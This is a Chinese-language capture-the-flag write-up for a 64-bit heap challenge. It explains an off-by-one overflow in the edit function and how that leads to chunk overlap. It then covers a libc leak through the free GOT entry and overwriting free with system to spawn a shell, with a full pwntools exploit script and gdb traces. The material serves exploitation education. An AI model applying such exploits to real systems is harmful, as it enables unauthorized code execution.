64 位程序,未开启 PIE

主函数提供增删改打印功能

先看 del
cpp
free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL)); // 释放内容块 (C)
free(*((void **)&heaparray + v1)); // 释放管理块 (M)
*((_QWORD *)&heaparray + v1) = 0LL; // 置零管理块指针
free 了两个堆块,看似只置零了一个堆块的指针
实际入口被封死:程序所有的 edit、show、delete 函数,第一步都是检查 if (heaparray[v1]),因此不存在 uaf

接着我们看 create
依旧是管理块 + 数据块的堆题结构
cpp
*((_QWORD *)&heaparray + i) = malloc(0x10uLL); //管理块分配
*(_QWORD *)(v0 + 8) = malloc(size); //数据块分配

cpp
// 将用户输入的 size 存入管理块的开头 (Offset +0)
**((_QWORD **)&heaparray + i) = size;
// 将用户输入的内容读入管理块偏移 +8 处存的指针所指向的地址
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
接着我们看 edit
cpp
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
从 heaparray[v1] 指向的管理块中,偏移 +8 的位置取出数据块指针 content_ptr
从 heaparray[v1] 指向的管理块中,偏移 +0 的位置取出之前存的 size
调用 read_input 往 content_ptr 里写数据,但长度传的是 size + 1LL ,存在 Off-by-One

然后是 show
cpp
printf(
"Size : %ld\nContent : %s\n",
**((_QWORD **)&heaparray + v1), // 取出 size 字段
*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL) // 取出 content_ptr 并作为字符串打印
);

总结:
程序每次 add 都会申请两个块:一个固定 0x10 的 M(管理块) 和一个自定义大小的 D(数据块)。
申请 0x18 是为了让你的数据末尾刚好顶在下一个块的 Size 字段门前 。这样 edit 溢出的那 1 个字节 ,才能绕过任何填充(Padding),直接改写 M1 的 0x21。如果你申请的是 0x10,中间会留下 8 字节的空隙,溢出 1 字节只会改写到无意义的填充位。
申请 D1(数据块)为 0x10,它的物理大小也是 0x20 。此时 M1 + D1 的物理总大小正好是0x20 + 0x20 = 0x40
我们在第一步溢出时,把 M1 的 Size 从 0x21 改成了 0x41 。当你 free(1) 时,系统会刚好把这连在一起的两个块当成一个整体回收掉。
add(0x18) :利用 对齐边界 。目的是让 D0 的结尾 == M1 的开头。
add(0x10) :利用 大小凑整 。目的是让 M1 + D1 的总和 == 我们伪造出来的那个 0x40。
exp:
python
from pwn import *
context(os='linux', arch='amd64')
#io = process('./pwn')
io = gdb.debug('./pwn',
'''
b main
c
''')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size, content):
io.sendlineafter(b"choice :", b"1")
io.sendlineafter(b"Size of Heap : ", str(size).encode())
io.sendafter(b"Content of heap:", content)
def edit(index, content):
io.sendlineafter(b"choice :", b"2")
io.sendlineafter(b"Index :", str(index).encode())
io.sendafter(b"Content of heap : ", content)
def show(index):
io.sendlineafter(b"choice :", b"3")
io.sendlineafter(b"Index :", str(index).encode())
def delete(index):
io.sendlineafter(b"choice :", b"4")
io.sendlineafter(b"Index :", str(index).encode())
add(0x18, b'aaaa') # Index 0
add(0x10, b'bbbb') # Index 1
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")
delete(1)
free_got = elf.got['free']
payload = p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)
show(1)
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)
io.interactive()
调试:
执行完第一次 add

管理快(M0):0x3d339290
它的数据区起始于 0x3d3392a0
里面存放着两个 8 字节的数据:D0 的大小 (0x18) 和 D0 的指针 (0x3d3392c0)

数据块(D0):0x3d3392b0
它的数据区起始于 0x3d3392c0
里面存放着我们输入的内容(aaaa)

再次执行 add

可以看到我们等会 Off-by-one 的目标,也就是 管理快(M1) 的 Size

继续执行
python
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")
0x3d3392c0:填入了 /bin/sh\x00
0x3d3392c8:填入了 8 个 A,0x3d3392d0:填入了 8 个 A
0x3d3392d8:溢出的那个 \x41 刚好覆盖了原来的 0x21

接下来 delete(1),也就是 free(D1) 和 free(M1)
D1 的地址是 0x3d3392f0(数据区在 0x3d339300),它的 Size 是 0x21(我们没改过它)
结果:它进入了 0x20 大小的 tcachebin
M1 的地址是 0x3d3392d0(数据区在 0x3d3392e0),它的 Size 被我们改成了 0x41
因此它被放进了 0x40 大小的 tcachebin

接下来我们需要把这个 0x40 的块申请回来
python
payload = p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)
这个堆块起始于0x3d3392d0,数据从 **0x3d3392e0**开始写入

add 传入的内容,前 8 字节对应内容是 size(这里可以随便填数值)
偏移+8对应内容为数据块的指针,也就是我们要覆盖的目标,这里覆盖为 free_got
再往后的 24 字节分别对应的是:M1 尾部、D1->prev_size、D1->size
D1由于堆块重叠已经被吞了,所以直接都填充垃圾数据即可 b'a'*24
但是最后的 8 字节就很玄学了,这里还是填 free_got

再往后的 8 字节就是下一个堆块(通常是 Top Chunk)的起始头部 prev_size
这里如果不想管那么多,直接全覆盖为:free_got
python
payload = p64(free_got) * 4
也可以打通
至此,我们已经成功将 Index 1 的指针改成了 free_got
接下来调用 show(1)
程序原本的逻辑是"打印第 1 个块的内容"。因为改了指针,它现在会去 free_got 地址处读数据。

那么我们接收 free 函数的真实地址
python
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))
leak libc 后,计算基地址,进而计算 system 函数edit(1, p64(system_addr))的地址
python
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
接下来我们劫持 GOT 表
python
edit(1, p64(system_addr))
因为 Index 1 的指针指向 free_got,所以我们写入的 system_addr 会直接覆盖掉 GOT 表中 free 的地址
执行 edit 前,查看内存地址的值:
python
x/gx 0x602018
显示的是 free 的真实地址

执行后,成功劫持为 system 函数的地址

最后执行:
python
delete(0)

即:free(heaparray[0]->content_ptr)
由于前面我们已经将 "/bin/sh\x00" 写到了 0x3d3392c0 也就是 D0(Index 0 的数据块)
所以这里就是 free("/bin/sh")
但因为free_got 也被我们改成了system,所以实际执行的是:system("/bin/sh"),直接 getshell
